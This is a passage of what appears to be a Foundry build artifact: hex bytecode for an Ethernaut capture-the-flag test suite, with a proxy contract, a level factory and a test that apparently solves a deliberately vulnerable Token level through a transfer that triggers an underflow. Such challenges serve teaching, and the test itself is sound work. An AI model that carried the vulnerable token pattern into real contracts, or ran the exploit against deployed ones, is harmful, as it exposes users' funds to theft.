61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610812602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c4565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107df565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff8082111561075d575f80fd5b818601915086601f830112610770575f80fd5b81358181111561077e575f80fd5b87602082850101111561078f575f80fd5b6020830194508093505050509250925092565b5f5b838110156107bc5781810151838201526020016107a4565b50505f910152565b5f82516107d58184602087016107a2565b9190910192915050565b602081525f82518060208401526107fd8160408501602087016107a2565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a26469706673582212203e1cf275377e8bb61cf9b931569a705adcb93eec1d89a2b1d063e39d5340117464736f6c63430008180033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122001bed1da0ec4d6df786deb9b5725ae988d0447559369b85199d58f2c81efd42664736f6c63430008180033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;-1:-1:-1;;;420:32:154;216:27:155;370:1565:149;420:32:154;259:12:155;370:1565:149;420:32:154;410:43;382:71;;370:1565:149;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801562000010575f80fd5b50600436106200018c575f3560e01c806385226c8111620000e3578063b5d11e991162000093578063e20c9f71116200006b578063e20c9f711462000314578063f82de7b0146200031e578063fa7626d41462000335575f80fd5b8063b5d11e9914620002d3578063b90a68fa14620002dd578063ba414fa6146200030a575f80fd5b8063916a17c611620000c7578063916a17c614620002975780639b59adbc14620002a1578063b5508aa914620002c9575f80fd5b806385226c81146200026757806385db81cc1462000280575f80fd5b80633e5e3c23116200013f57806366d9a9a0116200012357806366d9a9a0146200022d578063792e11f51462000246578063832e5fc2146200025d575f80fd5b80633e5e3c2314620002195780633f7286f41462000223575f80fd5b80631ed7831c11620001735780631ed7831c14620001d05780632356661a14620001e95780632ade38801462000200575f80fd5b80630a9254e414620001905780631c7db669146200019c575b5f80fd5b6200019a62000343565b005b620001b3620001ad36600462001b07565b6200080d565b6040516001600160a01b0390911681526020015b60405180910390f35b620001da620009d7565b604051620001c7919062001b4a565b620001b3620001fa36600462001c36565b62000a39565b6200020a62000c04565b604051620001c7919062001d09565b620001da62000d4c565b620001da62000dac565b6200023762000e0c565b604051620001c7919062001dcc565b620001da6200025736600462001e99565b62000f06565b6200019a62001096565b62000271620011bf565b604051620001c7919062001eb1565b620001b36200029136600462001f17565b62001294565b62000237620013b3565b620002b8620002b236600462001f35565b620014ad565b6040519015158152602001620001c7565b620002716200163d565b6200019a62001712565b601f80546040805160208082018490528251808303820181529183019092528051910120909155620001b3565b620002b8620017a9565b620001da6200187d565b6200019a6200032f36600462001e99565b620018dd565b601e54620002b89060ff1681565b5f62000350600262000f06565b9050805f8151811062000367576200036762001f71565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156200041c575f80fd5b505af11580156200042f573d5f803e3d5ffd5b505050508060018151811062000449576200044962001f71565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b158015620004fe575f80fd5b505af115801562000511573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156200056c575f80fd5b505af11580156200057f573d5f803e3d5ffd5b50506022546200059b92506001600160a01b0316905062001294565b60205f6101000a8154816001600160a01b0302191690836001600160a01b031602179055505f620006016040518060400160405280600c81526020017f546f6b656e466163746f7279000000000000000000000000000000000000000081525062000a39565b6020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801562000661575f80fd5b505af115801562000674573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620006d3575f80fd5b505af1158015620006e6573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801562000741575f80fd5b505af115801562000754573d5f803e3d5ffd5b50506020546200077292506001600160a01b03169050825f6200080d565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b158015620007f2575f80fd5b505af115801562000805573d5f803e3d5ffd5b505050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562000869575f80fd5b505af11580156200087c573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b158015620008dc575f80fd5b505af1158015620008ef573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801562000954573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200097d919081019062002012565b90508060018251620009909190620021a2565b81518110620009a357620009a362001f71565b60200260200101515f0151600281518110620009c357620009c362001f71565b60200260200101515f1c9150509392505050565b6060601680548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f20905b81546001600160a01b0316815260019091019060200180831162000a10575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa15801562000a99573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ac29190810190620021b8565b90505f81848560405160200162000adb9291906200220a565b60408051601f198184030181529082905262000afb9291602001620022b8565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb119062000b5f908590600401620022ea565b5f60405180830381865afa15801562000b7a573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f1916820160405262000ba39190810190620021b8565b90505f62000bf06040518060400160405280601081526020017f2e62797465636f64652e6f626a65637400000000000000000000000000000000815250836200195190919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b8282101562000d2b578382905f5260205f2001805462000c9990620022fe565b80601f016020809104026020016040519081016040528092919081815260200182805462000cc790620022fe565b801562000d165780601f1062000cec5761010080835404028352916020019162000d16565b820191905f5260205f20905b81548152906001019060200180831162000cf857829003601f168201915b50505050508152602001906001019062000c79565b50505050815250508152602001906001019062000c27565b50505050905090565b6060601880548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b6060601780548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b6060601b805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f8481526020908190206040805180820182526002860290920180546001600160a01b0316835260018101805483518187028101870190945280845293949193858301939283018282801562000eed57602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19168152602001906004019060208260030104928301926001038202915080841162000e995790505b5050505050815250508152602001906001019062000e2f565b60605f8267ffffffffffffffff81111562000f255762000f2562001b98565b60405190808252806020026020018201604052801562000f4f578160200160208202803683370190505b5090505f5b838110156200108f575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801562000f9c573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062000fc2919062002338565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801562001040575f80fd5b505af115801562001053573d5f803e3d5ffd5b50505050808383815181106200106d576200106d62001f71565b6001600160a01b03909216602092830291909101909101525060010162000f54565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015620010ed575f80fd5b505af115801562001100573d5f803e3d5ffd5b50506021546040517fa9059cbb0000000000000000000000000000000000000000000000000000000081526001600160a01b039091166004820181905260156024830152925063a9059cbb91506044016020604051808303815f875af11580156200116d573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001193919062002356565b50602054602154620011bd91620011b7916001600160a01b039182169116620014ad565b620019f3565b565b6060601a805480602002602001604051908101604052809291908181526020015f905b8282101562000d43578382905f5260205f200180546200120290620022fe565b80601f01602080910402602001604051908101604052809291908181526020018280546200123090620022fe565b80156200127f5780601f1062001255576101008083540402835291602001916200127f565b820191905f5260205f20905b8154815290600101906020018083116200126157829003601f168201915b505050505081526020019060010190620011e2565b5f80604051620012a49062001ac5565b604051809103905ff080158015620012be573d5f803e3d5ffd5b5090505f604051620012d09062001ad3565b604051809103905ff080158015620012ea573d5f803e3d5ffd5b508483604051620012fb9062001ae1565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801562001335573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b15801562001394575f80fd5b505af1158015620013a7573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b8282101562000d43575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156200149457602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191681526020019060040190602082600301049283019260010382029150808411620014405790505b50505050508152505081526020019060010190620013d6565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801562001509575f80fd5b505af11580156200151c573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156200157a575f80fd5b505af11580156200158d573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015620015f1573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526200161a919081019062002012565b90506001815111156200163257600191505062001637565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b8282101562000d43578382905f5260205f200180546200168090620022fe565b80601f0160208091040260200160405190810160405280929190818152602001828054620016ae90620022fe565b8015620016fd5780601f10620016d357610100808354040283529160200191620016fd565b820191905f5260205f20905b815481529060010190602001808311620016df57829003601f168201915b50505050508152602001906001019062001660565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801562001769575f80fd5b505af11580156200177c573d5f803e3d5ffd5b5050602054602154620011bd9350620017a392506001600160a01b039182169116620014ad565b62001a72565b6008545f9060ff1615620017c1575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa15801562001850573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019062001876919062002377565b1415905090565b6060601580548060200260200160405190810160405280929190818152602001828054801562000a2f57602002820191905f5260205f209081546001600160a01b0316815260019091019060200180831162000a10575050505050905090565b5f620018ea82436200238f565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b158015620007f2575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890620019a89086908690600401620023a5565b5f60405180830381865afa158015620019c3573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052620019ec9190810190620023d6565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b15801562001a58575f80fd5b505afa15801562001a6b573d5f803e3d5ffd5b5050505050565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a59828859060240162001a41565b610ae5806200240d83390190565b611e7a8062002ef283390190565b610daa8062004d6c83390190565b6001600160a01b038116811462001b04575f80fd5b50565b5f805f6060848603121562001b1a575f80fd5b833562001b278162001aef565b9250602084013562001b398162001aef565b929592945050506040919091013590565b602080825282518282018190525f9190848201906040850190845b8181101562001b8c5783516001600160a01b03168352928401929184019160010162001b65565b50909695505050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171562001bd25762001bd262001b98565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171562001c045762001c0462001b98565b604052919050565b5f67ffffffffffffffff82111562001c285762001c2862001b98565b50601f01601f191660200190565b5f6020828403121562001c47575f80fd5b813567ffffffffffffffff81111562001c5e575f80fd5b8201601f8101841362001c6f575f80fd5b803562001c8662001c808262001c0c565b62001bd8565b81815285602083850101111562001c9b575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101562001cd457818101518382015260200162001cba565b50505f910152565b5f815180845262001cf581602086016020860162001cb8565b601f01601f19169290920160200192915050565b602080825282518282018190525f919060409081850190600581811b87018401888601875b8481101562001dbd57603f198a8403018652815180516001600160a01b03168452880151888401889052805188850181905290890190606081871b8601810191908601905f5b8181101562001da657605f1988850301835262001d9384865162001cdc565b948d01949350918c019160010162001d74565b505050968901969350509087019060010162001d2e565b50909998505050505050505050565b5f60208083018184528085518083526040925060408601915060408160051b8701018488015f5b8381101562001e8b57888303603f19018552815180516001600160a01b031684528701518784018790528051878501819052908801905f9060608601905b8083101562001e755783517fffffffff00000000000000000000000000000000000000000000000000000000168252928a019260019290920191908a019062001e31565b5096890196945050509086019060010162001df3565b509098975050505050505050565b5f6020828403121562001eaa575f80fd5b5035919050565b5f60208083016020845280855180835260408601915060408160051b8701019250602087015f5b8281101562001f0a57603f1988860301845262001ef785835162001cdc565b9450928501929085019060010162001ed8565b5092979650505050505050565b5f6020828403121562001f28575f80fd5b8135620019ec8162001aef565b5f806040838503121562001f47575f80fd5b823562001f548162001aef565b9150602083013562001f668162001aef565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562001fa15762001fa162001b98565b5060051b60200190565b5f62001fbb62001c808462001c0c565b905082815283838301111562001fcf575f80fd5b620019ec83602083018462001cb8565b5f82601f83011262001fef575f80fd5b620019ec8383516020850162001fab565b80516200200d8162001aef565b919050565b5f602080838503121562002024575f80fd5b825167ffffffffffffffff808211156200203c575f80fd5b818501915085601f83011262002050575f80fd5b81516200206162001c808262001f85565b81815260059190911b8301840190848101908883111562002080575f80fd5b8585015b8381101562002181578051858111156200209c575f80fd5b86016060818c03601f19011215620020b2575f80fd5b620020bc62001bac565b8882015187811115620020cd575f80fd5b8201603f81018d13620020de575f80fd5b89810151620020f162001c808262001f85565b81815260059190911b8201604001908b8101908f83111562002111575f80fd5b6040840193505b82841015620021335783518252928c0192908c019062002118565b84525050506040820151878111156200214a575f80fd5b6200215a8d8b8386010162001fdf565b8a830152506200216d6060830162002000565b604082015284525091860191860162002084565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200163757620016376200218e565b5f60208284031215620021c9575f80fd5b815167ffffffffffffffff811115620021e0575f80fd5b8201601f81018413620021f1575f80fd5b620022028482516020840162001fab565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f83516200224381600585016020880162001cb8565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516200228281600a84016020880162001cb8565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f8351620022cb81846020880162001cb8565b835190830190620022e181836020880162001cb8565b01949350505050565b602081525f620019ec602083018462001cdc565b600181811c908216806200231357607f821691505b6020821081036200233257634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121562002349575f80fd5b8151620019ec8162001aef565b5f6020828403121562002367575f80fd5b81518015158114620019ec575f80fd5b5f6020828403121562002388575f80fd5b5051919050565b808201808211156200163757620016376200218e565b604081525f620023b9604083018562001cdc565b8281036020840152620023cd818562001cdc565b95945050505050565b5f60208284031215620023e7575f80fd5b815167ffffffffffffffff811115620023fe575f80fd5b620022028482850162001fdf56fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b60